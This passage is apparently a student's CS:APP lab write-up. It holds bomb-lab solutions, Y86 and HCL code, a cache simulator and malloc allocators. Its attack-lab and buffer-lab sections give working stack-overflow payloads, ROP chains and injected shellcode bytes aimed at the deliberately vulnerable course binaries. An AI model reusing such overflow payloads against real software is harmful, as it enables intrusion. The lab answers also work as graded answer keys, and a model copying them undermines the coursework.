rbx = rbx.next;
}
node3 > node4 > node5 > node6 > node1 > node2
Good work! On to the next...
4 3 2 1 6 5
Congratulations! You've defused the bomb!
Secret Phase
[0x004010f4]> s sym.secret_phase
[0x00401242]> pdf
; CALL XREF from sym.phase_defused @ 0x401630(x)
┌ 81: sym.secret_phase ();
│ 0x00401242 53 push rbx
│ 0x00401243 e856020000 call sym.read_line
│ 0x00401248 ba0a000000 mov edx, 0xa ; int base
│ 0x0040124d be00000000 mov esi, 0 ; char * *endptr
│ 0x00401252 4889c7 mov rdi, rax ; const char *str
│ 0x00401255 e876f9ffff call sym.imp.strtol ; long strtol(const char *str, char * *endptr, int base)
│ 0x0040125a 4889c3 mov rbx, rax
│ 0x0040125d 8d40ff lea eax, [rax - 1]
│ 0x00401260 3de8030000 cmp eax, 0x3e8 ; 1000
│ ┌─< 0x00401265 7605 jbe 0x40126c
│ │ 0x00401267 e8ce010000 call sym.explode_bomb
│ │ ; CODE XREF from sym.secret_phase @ 0x401265(x)
│ └─> 0x0040126c 89de mov esi, ebx ; int64_t arg2
│ 0x0040126e bff0306000 mov edi, obj.n1 ; 0x6030f0 ; "$" ; int64_t arg1
│ 0x00401273 e88cffffff call sym.fun7
│ 0x00401278 83f802 cmp eax, 2 ; 2
│ ┌─< 0x0040127b 7405 je 0x401282
│ │ 0x0040127d e8b8010000 call sym.explode_bomb
│ │ ; CODE XREF from sym.secret_phase @ 0x40127b(x)
│ └─> 0x00401282 bf38244000 mov edi, str.Wow__Youve_defused_the_secret_stage_ ; 0x402438 ; "Wow! You've defused the secret stage!" ; const char *s
│ 0x00401287 e884f8ffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040128c e833030000 call sym.phase_defused
│ 0x00401291 5b pop rbx
└ 0x00401292 c3 ret
[0x00401242]> s sym.fun7
[0x00401204]> pdf
; CALL XREFS from sym.fun7 @ 0x401217(x), 0x40122d(x)
; CALL XREF from sym.secret_phase @ 0x401273(x)
┌ 62: sym.fun7 (int64_t arg1, signed int64_t arg2);
│ ; arg int64_t arg1 @ rdi
│ ; arg signed int64_t arg2 @ rsi
│ 0x00401204 4883ec08 sub rsp, 8
│ 0x00401208 4885ff test rdi, rdi ; arg1
│ ┌─< 0x0040120b 742b je 0x401238
│ │ 0x0040120d 8b17 mov edx, dword [rdi] ; arg1
│ │ 0x0040120f 39f2 cmp edx, esi ; arg2
│ ┌──< 0x00401211 7e0d jle 0x401220
│ ││ 0x00401213 488b7f08 mov rdi, qword [rdi + 8] ; int64_t arg1
│ ││ 0x00401217 e8e8ffffff call sym.fun7
│ ││ 0x0040121c 01c0 add eax, eax
│ ┌───< 0x0040121e eb1d jmp 0x40123d
│ │││ ; CODE XREF from sym.fun7 @ 0x401211(x)
│ │└──> 0x00401220 b800000000 mov eax, 0
│ │ │ 0x00401225 39f2 cmp edx, esi ; arg2
│ │┌──< 0x00401227 7414 je 0x40123d
│ │││ 0x00401229 488b7f10 mov rdi, qword [rdi + 0x10] ; int64_t arg1
│ │││ 0x0040122d e8d2ffffff call sym.fun7
│ │││ 0x00401232 8d440001 lea eax, [rax + rax + 1]
│ ┌────< 0x00401236 eb05 jmp 0x40123d
│ ││││ ; CODE XREF from sym.fun7 @ 0x40120b(x)
│ │││└─> 0x00401238 b8ffffffff mov eax, 0xffffffff ; -1
│ │││ ; CODE XREFS from sym.fun7 @ 0x40121e(x), 0x401227(x), 0x401236(x)
│ └└└──> 0x0040123d 4883c408 add rsp, 8
└ 0x00401241 c3 ret
Readline and convert to number.
The number should smaller than 1001, and the result of fun7()
should be 2.
Arg1 is a root of a tree.
n1
dq 24h
dq offset n21
dq offset n22
dq 0
n21
dq 8
dq offset n31
dq offset n32
dq 0
n22
dq 32h
dq offset n33
dq offset n34
dq 0
n32
dq 16h
dq offset n43
dq offset n44
dq 0
n33
dq 2Dh
dq offset n45
dq offset n46
dq 0
n31
dq 6
dq offset n41
dq offset n42
dq 0
n34
dq 6Bh
dq offset n47
dq offset n48
dq 0
n45
dq 28h
dq 0
dq 0
dq 0
n41
dq 1
dq 0
dq 0
dq 0
n47
dq 63h
dq 0
dq 0
dq 0
n44
dq 23h
dq 0
dq 0
dq 0
n42
dq 7
dq 0
dq 0
dq 0
n43
dq 14h
dq 0
dq 0
dq 0
n46
dq 2Fh
dq 0
dq 0
dq 0
n48
dq 3E9h
dq 0
dq 0
dq 0
The tree:
0x24
v------------|------------v
8 0x32
v-----|------v v-----|------v
6 0x16 0x2d 0x6b
v---|---v v---|---v v---|---v v---|---v
1 7 0x14 0x23 0x28 0x2f 0x63 0x3e9
In fun7:
rdi = root;
rsi = input_num;
edx = root.value;
if (edx > rsi) {
rdi = rdi.lchild;
return 2 * fun7(rdi, rsi);
}
eax = 0
if (edx == esi) {
return eax;
}
else {
rdi = rdi.rchild;
return 1 + 2 * fun7(rdi, rsi);
}
The target is 2, so we need:
ret 0
ret 1 + 2 * 0
ret 2 * (1 + 2 * 0)
Therefore, the input should be 22.
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Border relations with Canada have never been better.
Phase 1 defused. How about the next one?
1 2 4 8 16 32
That's number 2. Keep going!
7 327
Halfway there!
0 0 DrEvil
So you got that one. Try this one.
ionefg
Good work! On to the next...
4 3 2 1 6 5
Curses, you've found the secret phase!
But finding it and solving it are quite different...
22
Wow! You've defused the secret stage!
Congratulations! You've defused the bomb!
Lab3 Attack-lab
直接使用 ROP 打了
Phase 1
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
62 62 62 62 62 62 62 62
C0 17 40 00 00 00 00 00
Phase 2
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
62 62 62 62 62 62 62 62
1b 14 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
EC 17 40 00 00 00 00 00
Phase 3
35 39 62 39 39 37 66 61
00 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
62 62 62 62 62 62 62 62
1b 14 40 00 00 00 00 00
78 dc 61 55 00 00 00 00
FA 18 40 00 00 00 00 00
Phase 4 和 5 不知道为什么打不通,跳过了
Lab4 Buffer-lab
感觉像另一个版本的 Attack lab
Phase 0
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
62 62 62 62
18 8C 04 08
Phase 1
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
62 62 62 62
42 8C 04 08
63 63 63 63
8e 3e aa 69
Phase 2
movl $0x69aa3e8e, 0x0804D100
push $0x08048C9D
ret
c7 05 00 d1 04 08 8e
3e aa 69
68 9d 8c 04 08
c3
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
62 62 62 62
28 3d 68 55
Phase 3
mov $0x69aa3e8e, %eax
mov $0x55555555, %ebp
push $0x08048DBE
ret
b8 8e 3e aa 69
bd 80 3d 68 55
68 be 8d 04 08
c3
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
62 62 62 62
28 3d 68 55
Phase 4
mov $0x69aa3e8e, %eax
mov %esp, %ebp
add $0x28, %ebp
push $0x08048DBE
ret
b8 8e 3e aa 69
89 e5
83 c5 28
68 be 8d 04 08
c3
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
62 62 62 62
48 3b 68 55
Lab5 Arch-lab
Part A
第一部分是使用 Y64 语言写几个程序
写的不规范,能跑就行
sum.ys
.pos 0
init:
irmovq Stack, %rsp
call Main
halt
Main:
irmovq ele1, %rdi
call Sum
ret
Sum:
xorq %rax, %rax
rrmovq %rdi, %rcx
loop:
andq %rcx, %rcx
je end
mrmovq 0(%rcx), %rbx
addq %rbx, %rax
mrmovq 8(%rcx), %rcx
jmp loop
end:
ret
# Sample linked list
.align 8
ele1:
.quad 0x00a
.quad ele2
ele2:
.quad 0x0b0
.quad ele3
ele3:
.quad 0xc00
.quad 0
.pos 0x200
Stack:
rsum.ys
.pos 0
init:
irmovq Stack, %rsp
call Main
halt
Main:
irmovq ele1, %rdi
xorq %rax, %rax
call rsum_list
ret
rsum_list:
loop:
andq %rdi, %rdi
je end
mrmovq 0(%rdi), %rbx
pushq %rbx
mrmovq 8(%rdi), %rdi
call rsum_list
popq %rbx
addq %rbx, %rax
jmp loop
end:
ret
# Sample linked list
.align 8
ele1:
.quad 0x00a
.quad ele2
ele2:
.quad 0x0b0
.quad ele3
ele3:
.quad 0xc00
.quad 0
.pos 0x200
Stack:
copy.ys
.pos 0
init:
irmovq Stack, %rsp
call Main
halt
Main:
irmovq src, %rdi
irmovq dest, %rsi
irmovq $3, %rdx
call copy
ret
copy:
irmovq $1, %r8
irmovq $8, %r9
xorq %rax, %rax
rrmovq %rdx, %rcx
loop:
mrmovq 0(%rdi), %rbx
rmmovq %rbx, 0(%rsi)
xorq %rbx, %rax
addq %r9, %rdi
addq %r9, %rsi
subq %r8, %rcx
andq %rcx, %rcx
jne loop
ret
# Sample linked list
.align 8
# Source block
src:
.quad 0x00a
.quad 0x0b0
.quad 0xc00
# Destination block
dest:
.quad 0x111
.quad 0x222
.quad 0x333
.pos 0x200
Stack:
Part B
这部分不太会,全靠注释和网上资料做的
参考书上的相似指令,自己画了个整体架构
#############################################
# Stage # iaddq V, rB #
#############################################
# # icode: ifun <- M_1[PC] #
# Fetch Stage # rA: rB <- M_1[PC + 1] #
# # valC <- M_8[PC + 2] #
# # valP <- PC + 10 #
#############################################
# Decode Stage # valB <- R[rB] #
#############################################
# Excuse Stage # valE <- valC + valB #
#############################################
# Writeback # #
# Stage # R[rB] <- valE #
#############################################
# Update PC # PC <- valP #
#############################################
Fetch 阶段
# Determine instruction code
word icode = [
imem_error: INOP;
1: imem_icode; # Default: get from instruction memory
];
# Determine instruction function
word ifun = [
imem_error: FNONE;
1: imem_ifun; # Default: get from instruction memory
];
bool instr_valid = icode in
{ INOP, IHALT, IRRMOVQ, IIRMOVQ, IRMMOVQ, IMRMOVQ,
IOPQ, IJXX, ICALL, IRET, IPUSHQ, IPOPQ, IIADDQ };
# Does fetched instruction require a regid byte?
bool need_regids =
icode in { IRRMOVQ, IOPQ, IPUSHQ, IPOPQ,
IIRMOVQ, IRMMOVQ, IMRMOVQ, IIADDQ};
# Does fetched instruction require a constant word?
bool need_valC =
icode in { IIRMOVQ, IRMMOVQ, IMRMOVQ, IJXX, ICALL, IIADDQ };
Decode 阶段
## What register should be used as the A source?
word srcA = [
icode in { IRRMOVQ, IRMMOVQ, IOPQ, IPUSHQ } : rA;
icode in { IPOPQ, IRET } : RRSP;
1 : RNONE; # Don't need register
];
## What register should be used as the B source?
word srcB = [
icode in { IOPQ, IRMMOVQ, IMRMOVQ, IIADDQ } : rB;
icode in { IPUSHQ, IPOPQ, ICALL, IRET } : RRSP;
1 : RNONE; # Don't need register
];
## What register should be used as the E destination?
word dstE = [
icode in { IRRMOVQ } && Cnd : rB;
icode in { IIRMOVQ, IOPQ, IIADDQ} : rB;
icode in { IPUSHQ, IPOPQ, ICALL, IRET } : RRSP;
1 : RNONE; # Don't write any register
];
## What register should be used as the M destination?
word dstM = [
icode in { IMRMOVQ, IPOPQ } : rA;
1 : RNONE; # Don't write any register
];
Execute 阶段
## Select input A to ALU
word aluA = [
icode in { IRRMOVQ, IOPQ } : valA;
icode in { IIRMOVQ, IRMMOVQ, IMRMOVQ, IIADDQ } : valC;
icode in { ICALL, IPUSHQ } : -8;
icode in { IRET, IPOPQ } : 8;
# Other instructions don't need ALU
];
## Select input B to ALU
word aluB = [
icode in { IRMMOVQ, IMRMOVQ, IOPQ, ICALL,
IPUSHQ, IRET, IPOPQ, IIADDQ } : valB;
icode in { IRRMOVQ, IIRMOVQ } : 0;
# Other instructions don't need ALU
];
## Set the ALU function
word alufun = [
icode == IOPQ : ifun;
1 : ALUADD;
];
## Should the condition codes be updated?
bool set_cc = icode in { IOPQ, IIADDQ };
PC 更新阶段不需要更改
Lab7 Cache-lab
需要实现一个 LRU 的 Cache 系统
不知道该怎么实现,直接逆 csim-ref
加抄网上资料了
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include "cachelab.h"
int s = 0, E = 0, b = 0, v = 0;
char *tracefile = NULL;
int S = 0, B = 0;
int hit_count, miss_count, eviction_count;
unsigned long long lru_counter = 1, set_index_mask;
FILE *fp = NULL;
typedef struct {
char valid_bit;
unsigned long long tag;
unsigned long long lru;
} cache_line_t, *cache_set_t, **cache_t;
cache_t cache;
typedef struct {
} Node;
void printUsage(char *name){
printf("./%s [-hv] -s <s> -E <E> -b <b> -t <tracefile>", name);
puts("Options:");
puts(" -h Print this help message.");
puts(" -v Optional verbose flag.");
puts(" -s <num> Number of set index bits.");
puts(" -E <num> Number of lines per set.");
puts(" -b <num> Number of block offset bits.");
puts(" -t <file> Trace file.");
puts("");
puts("Examples:");
puts(" linux> ./csim-ref -s 4 -E 1 -b 4 -t traces/yi.trace");
puts(" linux> ./csim-ref -v -s 8 -E 2 -b 4 -t traces/yi.trace");
}
void initCache() {
cache = (cache_t)malloc(sizeof(cache_set_t) * S);
for (int i = 0; i < S; i++) {
cache[i] = (cache_set_t)malloc(sizeof(cache_line_t) * E);
for (int j = 0; j < E; j++) {
cache[i][j].valid_bit = 0;
cache[i][j].tag = 0;
cache[i][j].lru = 0;
}
}
set_index_mask = (1 << s) - 1;
return;
}
void releaseCache() {
for (int i = 0; i < S; i++) {
free(cache[i]);
cache[i] = NULL;
}
free(cache);
cache = NULL;
return;
}
void accessData(unsigned long long address){
unsigned int eviction_lru = -1LL;
unsigned long long eviction_line = 0;
unsigned long long tag = address >> (s + b);
cache_set_t cache_set = cache[(address >> b) & set_index_mask];
int i;
for (i = 0; ; ++i) {
if (i >= E) {
++miss_count;
if (v)
printf("miss ");
for (int j = 0; j < E; ++j) {
if (cache_set[j].lru < eviction_lru) {
eviction_line = j;
eviction_lru = cache_set[j].lru;
}
}
if (cache_set[eviction_line].valid_bit) {
++eviction_count;
if (v)
printf("eviction ");
}
cache_set[eviction_line].valid_bit = 1;
cache_set[eviction_line].tag = tag;
cache_set[eviction_line].lru = lru_counter++;
return;
}
if (cache_set[i].valid_bit && cache_set[i].tag == tag) {
break;
}
}
++hit_count;
if (v)
printf("hit ");
cache_set[i].lru = lru_counter++;
return;
}
void replayTrace(FILE* f) {
unsigned long long address;
int size;
char buf[1024];
while (fgets(buf, 1023, f)) {
if (buf[1] != 'M' && buf[1] != 'L' && buf[1] != 'S') {
continue;
}
sscanf(buf + 3, "%llx,%u ", &address, &size);
if (v)
printf("%c %llx,%u ", buf[1], address, size);
accessData(address);
if (buf[1] == 'M') {
accessData(address);
}
if (v) putchar('\n');
}
return;
}
int main(int argc, char* argv[]) {
char o;
while ((o = getopt(argc, argv, "hvs:E:b:t:")) != -1) {
switch (o) {
case 'h':
printUsage(argv[0]);
return 0;
case 'v':
v = 1;
break;
case 's':
s = atoi(optarg);
break;
case 'E':
E = atoi(optarg);
break;
case 'b':
b = atoi(optarg);
break;
case 't':
tracefile = optarg;
fp = fopen(tracefile, "r");
if (fp == NULL) {
printf("File %s open failed.", tracefile);
return -1;
}
break;
default:
printUsage(argv[0]);
return 0;
}
}
if (s <= 0 || E <= 0 || !tracefile || b <= 0) {
printUsage(argv[0]);
return -1;
}
S = 1 << s;
B = 1 << b;
initCache();
replayTrace(fp);
printSummary(hit_count, miss_count, eviction_count);
releaseCache();
fclose(fp);
return 0;
}
Lab10 Malloc-lab
实现了两种 Malloc
隐式链表
+-----------------+
| chunksize | 00A | A: Alloc
+-----------------+
| (padding) |
+-----------------+
| chunksize | 00A | A: Alloc
+-----------------+
宏定义
/* single word (4) or double word (8) alignment */
#define ALIGNMENT 8
#define WSIZE 4 /* Word and header/footer size (bytes) */
#define DSIZE 8 /* Double word size (bytes) */
#define CHUNKSIZE (1 << 12) /* Extend hea by this amount (bytes) */
#define MAX(x, y) ((x) > (y) ? (x) : (y))
/* rounds up to the nearest multiple of ALIGNMENT */
#define ALIGN(size) (((size) + (ALIGNMENT-1)) & ~0x7)
#define SIZE_T_SIZE (ALIGN(sizeof(size_t)))
/* Pack a size and allocated bit into a word */
#define PACK(size, alloc) ((size) | (alloc))
/* Read and write a word at address p */
#define GET(p) (*(unsigned int*)(p))
#define PUT(p, val) (*(unsigned int*)(p) = (val))
#define GET_SIZE(p) (GET(p) & ~0x7)
#define GET_ALLOC(p) (GET(p) & 0x1)
/* Given block ptr bp, compute address of its header and footer */
#define HDRP(bp) ((char*)(bp) - WSIZE)
#define FTRP(bp) ((char*)(bp) + GET_SIZE(HDRP(bp)) - DSIZE)
/* Given block ptr bp, compute address of next and previous blocks */
#define NEXT_BLKP(bp) ((char *)(bp) + GET_SIZE(((char*)(bp) - WSIZE)))
#define PREV_BLKP(bp) ((char *)(bp) - GET_SIZE(((char*)(bp) - DSIZE)))
用宏定义编译方便一些
#define FIRST_FIT 1
#define NEXT_FIT 2
#define BEST_FIT 3
一些全局变量
static char *heap_listp;
#if FIT_ALGO == NEXT_FIT
char *cur_listp;
#endif
核心代码直接抄书:
/*
* coalesce - Coalesce free block next by
*/
static void *coalesce(void *bp) {
size_t prev_alloc = GET_ALLOC(FTRP(PREV_BLKP(bp)));
size_t next_alloc = GET_ALLOC(HDRP(NEXT_BLKP(bp)));
size_t size = GET_SIZE(HDRP(bp));
if (prev_alloc && next_alloc)
return bp;
if (!next_alloc && prev_alloc) {
size += GET_SIZE(HDRP(NEXT_BLKP(bp)));
PUT(FTRP(NEXT_BLKP(bp)), PACK(size, 0));
PUT(HDRP(bp), PACK(size, 0));
}
if (!prev_alloc && next_alloc) {
size += GET_SIZE(FTRP(PREV_BLKP(bp)));
PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0));
PUT(FTRP(bp), PACK(size, 0));
bp = PREV_BLKP(bp);
}
if (!prev_alloc && !next_alloc) {
size += GET_SIZE(FTRP(PREV_BLKP(bp)));
size += GET_SIZE(HDRP(NEXT_BLKP(bp)));
PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0));
PUT(FTRP(NEXT_BLKP(bp)), PACK(size, 0));
bp = PREV_BLKP(bp);
};
#if FIT_ALGO == NEXT_FIT
if (cur_listp > bp && cur_listp < NEXT_BLKP(bp))
cur_listp = bp;
#endif
return bp;
}
/*
* extend_heap - extend heap with a free block
*/
static void *extend_heap(size_t words) {
char *bp;
size_t size;
/* Allocate and even number of words to maintain alignment */
size = (words % 2) ? (words + 1) * WSIZE : words * WSIZE;
if ((long)(bp = mem_sbrk(size)) == -1)
return NULL;
/* Initialize free block header/footer and the epilogue header */
PUT(HDRP(bp), PACK(size, 0));
PUT(FTRP(bp), PACK(size, 0));
PUT(HDRP(NEXT_BLKP(bp)), PACK(0, 1));
/* Coalesce if the previous block was free */
return coalesce(bp);
}
/*
* mm_init - initialize the malloc package.
*/
int mm_init(void)
{
/* Create the initial empty heap */
if ((heap_listp = mem_sbrk(4 * WSIZE)) == (void *)-1) /* sbrk() function returns the start address of the new area. */
return -1;
PUT(heap_listp, 0); /* Alignment */
PUT(heap_listp + (1 * WSIZE), PACK(DSIZE, 1)); /* Prologue block's size is 8 and is always alloced */
PUT(heap_listp + (2 * WSIZE), PACK(DSIZE, 1));
PUT(heap_listp + (3 * WSIZE), PACK(0, 1)); /* Epilogue header */
heap_listp += (2 * WSIZE);
#if FIT_ALGO == NEXT_FIT
cur_listp = heap_listp;
#endif
if (extend_heap(CHUNKSIZE/WSIZE) == NULL)
return -1;
return 0;
}
/*
* mm_malloc - Allocate a block by incrementing the brk pointer.
* Always allocate a block whose size is a multiple of the alignment.
*/
void *mm_malloc(size_t size)
{
/* Ignore spurious requests */
if (size <= 0)
return NULL;
if (size <= DSIZE)
size = 2 * DSIZE;
size_t newsize = size + DSIZE + ((-size) % DSIZE);
void* bp;
// int newsize = ALIGN(size + SIZE_T_SIZE);
if ((bp = find_fit(newsize)) != NULL) {
place(bp, newsize);
return bp;
}
size_t extendsize = MAX(newsize, CHUNKSIZE);
if ((bp = extend_heap(extendsize/WSIZE)) == NULL)
return NULL;
place(bp, newsize);
return bp;
}
/*
* mm_free - Freeing a block does nothing.
*/
void mm_free(void *ptr)
{
size_t size = GET_SIZE(HDRP(ptr));
PUT(HDRP(ptr), PACK(size, 0));
PUT(FTRP(ptr), PACK(size, 0));
coalesce(ptr);
}
/*
* mm_realloc - Implemented simply in terms of mm_malloc and mm_free
*/
void *mm_realloc(void *ptr, size_t size)
{
void *oldptr = ptr;
void *newptr;
size_t copySize;
newptr = mm_malloc(size);
if (newptr == NULL)
return NULL;
size = GET_SIZE(HDRP(oldptr));
// copySize = *(size_t *)((char *)oldptr - SIZE_T_SIZE);
copySize = GET_SIZE(HDRP(newptr));
if (size < copySize)
copySize = size;
memcpy(newptr, oldptr, copySize - WSIZE);
mm_free(oldptr);
return newptr;
}
书上最后留了两个函数作为例题
static void place(void *bp, size_t size){
size_t origin_size = GET_SIZE(HDRP(bp));
if (origin_size - size >= 2 * DSIZE) {
PUT(HDRP(bp), PACK(size, 1));
PUT(FTRP(bp), PACK(size, 1));
PUT(HDRP(NEXT_BLKP(bp)), PACK(origin_size - size, 0));
PUT(FTRP(NEXT_BLKP(bp)), PACK(origin_size - size, 0));
} else {
PUT(HDRP(bp), PACK(origin_size, 1));
PUT(FTRP(bp), PACK(origin_size, 1));
}
return;
}
实现了三种不同的 fit 算法:
/*
* util: 74%
* secs: 0.4585
* Perf index = 44 (util) + 16 (thru) = 61 / 100
*/
#if FIT_ALGO == FIRST_FIT
static void *find_fit(size_t size) {
void *tmp_listp = heap_listp;
while (GET_SIZE(HDRP(tmp_listp)) < size || GET_ALLOC(HDRP(tmp_listp))) {
if (GET_SIZE(HDRP(tmp_listp)) == 0) {
return NULL;
}
tmp_listp = NEXT_BLKP(tmp_listp);
}
return tmp_listp;
}
/*
* util: 73%
* secs: 0.0918
* Perf index = 44 (util) + 40 (thru) = 84/100
*/
# elif FIT_ALGO == NEXT_FIT
static void *find_fit(size_t size) {
void *tmp_listp;
for (tmp_listp = cur_listp; GET_SIZE(HDRP(tmp_listp)) != 0; tmp_listp = NEXT_BLKP(tmp_listp)) {
if (!GET_ALLOC(HDRP(tmp_listp)) && GET_SIZE(HDRP(tmp_listp)) >= size) {
cur_listp = tmp_listp;
return tmp_listp;
}
}
for (tmp_listp = heap_listp; tmp_listp != cur_listp; tmp_listp = NEXT_BLKP(tmp_listp)) {
if (!GET_ALLOC(HDRP(tmp_listp)) && GET_SIZE(HDRP(tmp_listp)) >= size) {
cur_listp = tmp_listp;
return tmp_listp;
}
}
return NULL;
}
/*
* util: 75%
* secs: 0.4660
* Perf index = 45 (util) + 16 (thru) = 61/100
*/
# elif FIT_ALGO == BEST_FIT
static void *find_fit(size_t size) {
void *best_listp = NULL;
size_t best_size = 0x7fffffff;
for (void *tmp_listp = heap_listp; GET_SIZE(HDRP(tmp_listp)) != 0; tmp_listp = NEXT_BLKP(tmp_listp)) {
size_t cur_size = GET_SIZE(HDRP(tmp_listp));
if (!GET_ALLOC(HDRP(tmp_listp)) && cur_size >= size) {
if (cur_size == size) {
return tmp_listp;
}
if (cur_size < best_size) {
best_size = cur_size;
best_listp = tmp_listp;
}
}
}
return best_listp;
}
# endif
next fit 远高于另外两个算法
分离适配
+-+-+-+-+-+-+-+-+-+-+
| Block Size | 00A | A: Alloc
+-+-+-+-+-+-+-+-+-+-+
| pred |
+-+-+-+-+-+-+-+-+-+-+
| succ |
+-+-+-+-+-+-+-+-+-+-+
| Payload |
+-+-+-+-+-+-+-+-+-+-+
| Padding |
+-+-+-+-+-+-+-+-+-+-+
| Block Size | 00A | A: Alloc
+-+-+-+-+-+-+-+-+-+-+
新增的宏定义
#define MIN_BLOCK_SIZE 16
/* Given block ptr bp, compute pred and succ block */
#define FD(bp) (*(char**)(bp))
#define BK(bp) (*(char**)((bp) + WSIZE))
/* Given block ptr bp, compute pred and succ ptr address*/
#define FD_PTR(bp) ((char*)(bp))
#define BK_PTR(bp) ((char*)(bp + WSIZE))
#define SET_FD(bp, val) (*(unsigned int*)(bp) = (unsigned int)(val))
#define SET_BK(bp, val) (*(unsigned int*)(bp+WSIZE) = (unsigned int)(val))
需要一个新的全局变量来存储几个链表
#define FREE_LIST_SIZE 10
void *free_lists[FREE_LIST_SIZE] = {NULL};
操作链表的函数
/* Following funcions was method of free_lists */
size_t size_to_type(size_t size) {
size_t x = 0;
if (size < 16) ;
else if (size <= 32) x = 0;
else if (size <= 64) x = 1;
else if (size <= 128) x = 2;
else if (size <= 256) x = 3;
else if (size <= 512) x = 4;
else if (size <= 1024) x = 5;
else if (size <= 2048) x = 6;
else if (size <= 4096) x = 7;
else x = 8;
return x;
}
static void insert_node_to_free_list(void *bp, size_t size){
size_t list_num = size_to_type(size);
size_t last_head = (size_t)free_lists[list_num];
SET_BK(bp, last_head);
if (last_head != NULL) {
SET_FD(last_head, bp);
}
SET_FD(bp, 0);
free_lists[list_num] = bp;
return;
}
static void delete_node_from_free_list(void *bp, size_t size) {
if (FD(bp) != NULL)
SET_BK(FD(bp), BK(bp));
else
free_lists[size_to_type(size)] = BK(bp);
if (BK(bp) != NULL)
SET_FD(BK(bp), FD(bp));
return;
}
其他函数都需要更改
/* place the block to a free block */
static void place(void *bp, size_t size){
size_t origin_size = GET_SIZE(HDRP(bp));
delete_node_from_free_list(bp, origin_size);
if (origin_size - size >= 2 * DSIZE) {
PUT(HDRP(bp), PACK(size, 1));
PUT(FTRP(bp), PACK(size, 1));
size_t remain_size = origin_size - size;
PUT(HDRP(NEXT_BLKP(bp)), PACK(remain_size, 0));
PUT(FTRP(NEXT_BLKP(bp)), PACK(remain_size, 0));
insert_node_to_free_list(NEXT_BLKP(bp), remain_size);
} else {
PUT(HDRP(bp), PACK(origin_size, 1));
PUT(FTRP(bp), PACK(origin_size, 1));
}
return;
}
/* find a fit free block (first fit) */
static void *find_fit(size_t size) {
size_t list_num = size_to_type(size);
for (int i = list_num; i < FREE_LIST_SIZE; ++i)
if (free_lists[i] != NULL)
for (void* tmp_ptr = free_lists[i]; tmp_ptr != NULL; tmp_ptr = BK(tmp_ptr))
if (GET_SIZE(HDRP(tmp_ptr)) >= size)
return tmp_ptr;
return NULL;
}
/*
* coalesce - Coalesce free block next by
*/
static void *coalesce(void *bp) {
size_t prev_alloc = GET_ALLOC(FTRP(PREV_BLKP(bp)));
size_t next_alloc = GET_ALLOC(HDRP(NEXT_BLKP(bp)));
size_t size = GET_SIZE(HDRP(bp));
if (prev_alloc && next_alloc)
return bp;
/* coalesce with next block */
if (!next_alloc && prev_alloc) {
size_t next_size = GET_SIZE(HDRP(NEXT_BLKP(bp)));
delete_node_from_free_list(bp, size);
delete_node_from_free_list(NEXT_BLKP(bp), next_size);
size += next_size;
PUT(FTRP(NEXT_BLKP(bp)), PACK(size, 0));
PUT(HDRP(bp), PACK(size, 0));
}
/* coalesce with prev block */
if (!prev_alloc && next_alloc) {
size_t prev_size = GET_SIZE(FTRP(PREV_BLKP(bp)));
delete_node_from_free_list(bp, size);
delete_node_from_free_list(PREV_BLKP(bp), prev_size);
size += prev_size;
PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0));
PUT(FTRP(bp), PACK(size, 0));
bp = PREV_BLKP(bp);
}
/* coalesce with prev and next block */
if (!prev_alloc && !next_alloc) {
size_t prev_size = GET_SIZE(FTRP(PREV_BLKP(bp)));
size_t next_size = GET_SIZE(HDRP(NEXT_BLKP(bp)));
